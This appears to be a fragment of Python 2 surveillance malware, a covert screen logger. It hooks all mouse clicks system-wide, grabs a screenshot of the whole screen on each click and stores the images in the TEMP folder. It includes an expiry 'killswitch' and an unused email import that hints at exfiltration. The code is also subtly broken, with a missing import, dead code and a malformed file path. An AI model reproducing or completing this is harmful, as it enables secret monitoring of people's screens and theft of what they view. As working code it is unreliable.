@srcn-dll python screen capture

import os, random, smtplib, string, time, threading, datetime
import pyHook
import pythoncom
import threading


import autopy
import time

# enter killswitch
from datetime import datetime

from datetime import datetime as dt
expires = dt(2016,7,8)# enter date in %yyyy,
present = dt.now()
if present > expires:
    #print "oza expired"#killswitch code here
    #print "exiting"
    sys.exit()
else:
    #print "not expired"
    pass

# end killswitch

def onclick(event):
    print event.Position
    '''start screen grab'''
    def generate_random_string(low,high):
        length=random.randint(low,high)
        letters=string.ascii_letters+string.digits
        return ''.join([random.choice(letters) for _ in range(length)])
        rand_gen=random_string()
        return rand_gen
    ###time.sleep(1)
    ###print "screen captured!@"
    ###temp_path = os.getenv('TEMP')
    ###logfile = temp_path + "\\logs" + generate_random_string(10,15)

    sasa = str(time.time())
    b = autopy.bitmap.capture_screen()
    b.save(os.getenv('TEMP')+"@@"+ sasa +"")

hm = pyHook.HookManager()
hm.SubscribeMouseAllButtonsDown(onclick)
hm.HookMouse()
pythoncom.PumpMessages()
hm.UnhookMouse()